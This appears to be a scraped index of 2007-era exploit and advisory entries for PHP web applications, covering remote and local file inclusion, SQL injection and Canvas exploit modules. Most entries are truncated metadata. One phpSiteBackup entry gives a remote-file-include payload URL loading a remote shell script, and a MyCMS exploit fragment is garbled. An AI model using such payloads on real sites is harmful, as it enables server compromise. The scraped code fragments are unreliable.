LimeSurvey (PHPSurveyor) 1.49RC2 Remote File Inclusion Vulnerability

No description provided by source. Owner : Pr0T3cT10n Email : [email protected] Homepage : www.kamikaz-team.com Script site : www.limesurvey.org Script name : LimeSurvey PHPSurveyor Version : 1.49RC2 Type : RFIRemote File Include Source :...

Maia Mailguard 1.0.2 - login.php Multiple Local File Inclusions

Maia Mailguard 1.0.2 - login.php Multiple Local File Inclusions source: https://www.securityfocus.com/bid/24770/info Maia Mailguard is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input. Exploiting these issues may allow an unauthorized...

Improper access control

Liesbeth base CMS stores sensitive information under the web root with insufficient access control, which allows remote attackers to download an include file containing account credentials via a direct request for config.inc...

Immunity Canvas: SPHPELL_INCLUDE

Name| sphpellinclude ---|--- CVE| CVE-2007-3522 Exploit Pack| CANVAS Description| sPHPell Include Notes| CVSS: 6.8 Repeatability: Infinite VENDOR: sPHPell CVE Url: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3522 CVE Name: CVE-2007-3522...

MyCMS 0.9.8 - Remote Command Execution (2)

!/usr/bin/php -q -d shortopentag=on Thanks to rgod for the php code and Marty for the Love "; if $argcNo new score set"; elseif $score $data $file1 = "snakescore.txt"; $file2 = "snakesetby.txt"; $file1h = fopen$file1, 'w' or die"can't open file"; $file2h = fopen$file2, 'w' or die"can't open file"...

XCMS 1.1 - Galerie.php Local File Inclusion

XCMS 1.1 - Galerie.php Local File Inclusion Author:: BlackNDoor | [email protected] Homepage:: www.learntohell.net Script:: XCMS : CMS Version:: 1.1 Type:: Remote Directory Listing & Local File Include Source:: http://groupeclan.free.fr/XCMS.zip Bug:: - Files: /Module/Galerie.php.php -...

Ripe Website Manager (CMS) <= 0.8.9 Remote File Inclusion Vulns

Exploit for unknown platform in category web applications =============================================================== Ripe Website Manager CMS Files: /admin/includes/authorpanelheader.php /admin/includes/adminheader.php - vulncode: Exploit:: http://www.site.com/path to...

Ripe Website Manager (CMS) &lt;= 0.8.9 Remote File Inclusion Vulns

No description provided by source. Author:: BlackNDoor | [email protected] Homepage:: www.learntohell.net Script:: Ripe Wepsite Manager Version:: = v0.8.9 Type:: Remote File Include Source:: http://sourceforge.net/project/showfiles.php?groupid=194532 Bug:: - Files:...

Immunity Canvas: DAGGER_INCLUDE

Name| daggerinclude ---|--- CVE| CVE-2007-3431 Exploit Pack| CANVAS Description| Dagger Include Notes| CVSS: 6.8 Repeatability: Infinite VENDOR: Dagger CVE Url: https://vulners.com/cve/CVE-2007-3431 CVE Name: CVE-2007-3431...

Immunity Canvas: B1GBB_INCLUDE

Name| b1gbbinclude ---|--- CVE| CVE-2007-3401 Exploit Pack| CANVAS Description| B1gBB Include Notes| CVSS: 7.5 Repeatability: Infinite VENDOR: b1gbb CVE Url: https://vulners.com/cve/CVE-2007-3401 CVE Name: CVE-2007-3401...

psb-rfi.txt

phpSiteBackup 0.1 pcltar.lib.php Remote File Include Vulnerability D.Script: http://kent.dl.sourceforge.net/sourceforge/phpsitebackup/phpSiteBackup-0.1.tgz Exploit: /phpSiteBackup-0.1/pcltar.lib.php?gpcltarlibdir=http://localhost/tryag.txt? D.Vidoe: http://my-story.org/uploads/phpSiteBackup.rar...

sitedepth-lfi.txt

Sitedepth CMS 3.44 Local File Include LFI Exploit ! Application homepage : http://www.sitedepth.com/ ! Author : H4 / Team XPK ! Contact : [email protected] ! Bug discovered : 2006-11-07 ! Bug published : 2007-06-25 --------------------------------------------------------------------- Vuln. code:...

6alblog-sql.txt

+By CrackersChild+ Portal.......: 6ALBlog All Versions Download.....: http://down.otand.com/download/code/php/blog/6alblog.rar Author.......: CrackersChild | [email protected] & [email protected] Class........: Remote SQL Injection and Remote File nclude Vulnerability Dork.........:...

6ALBlog - 'newsid' SQL Injection

+By CrackersChild+ Portal.......: 6ALBlog All Versions Download.....: http://down.otand.com/download/code/php/blog/6alblog.rar Author.......: CrackersChild | [email protected] & [email protected] Class........: Remote SQL Injection and Remote File Ä°nclude Vulnerability Dork...........

6ALBlog - newsid SQL Injection

6ALBlog - newsid SQL Injection +By CrackersChild+ Portal.......: 6ALBlog All Versions Download.....: http://down.otand.com/download/code/php/blog/6alblog.rar Author.......: CrackersChild | [email protected] & [email protected] Class........: Remote SQL Injection and Remote File...

SiteDepth CMS 3.44 (ShowImage.php name) File Disclosure Vulnerability

Exploit for unknown platform in category web applications ===================================================================== SiteDepth CMS 3.44 ShowImage.php name File Disclosure Vulnerability ===================================================================== Sitedepth CMS 3.44 Local File...

SiteDepth CMS 3.44 - 'ShowImage.php?name' File Disclosure

Sitedepth CMS 3.44 Local File Include LFI Exploit ! Application homepage : http://www.sitedepth.com/ ! Author : H4 / Team XPK ! Contact : [email protected] ! Bug discovered : 2006-11-07 ! Bug published : 2007-06-25 --------------------------------------------------------------------- Vuln. code:...

Sun Board Multiple Remote File Include Vulnerabilities

Sun 是容易发生多个远程文件包括脆弱漏洞,因为它未能充分净化用户提供数据. 利用这些问题可能使攻击者妥协的应用和基本制度; 其他的攻击也是可能的. 这些问题影响版本1.00.00 alpha; 其它版本也可能会受到影响. Kim Kyoung Min Sun Board 1.00.00 alpha http://playsb.com/ 暂无 Attackers can use a browser to exploit these issues. The following proof-of-concept URIs are available:...

Immunity Canvas: LMS_INCLUDE

Name| lmsinclude ---|--- CVE| CVE-2007-3325 Exploit Pack| CANVAS Description| LMS Include Notes| CVSS: 7.5 Repeatability: Infinite VENDOR: lms.org.pl CVE Url: https://vulners.com/cve/CVE-2007-3325 CVE Name: CVE-2007-3325...

Immunity Canvas: MINIBILL_INCLUDE

Name| minibillinclude ---|--- CVE| CVE-2007-3306 Exploit Pack| CANVAS Description| MiniBill Include Notes| CVSS: 7.5 Repeatability: Infinite VENDOR: Ultrize.com CVE Url: https://vulners.com/cve/CVE-2007-3306 CVE Name: CVE-2007-3306...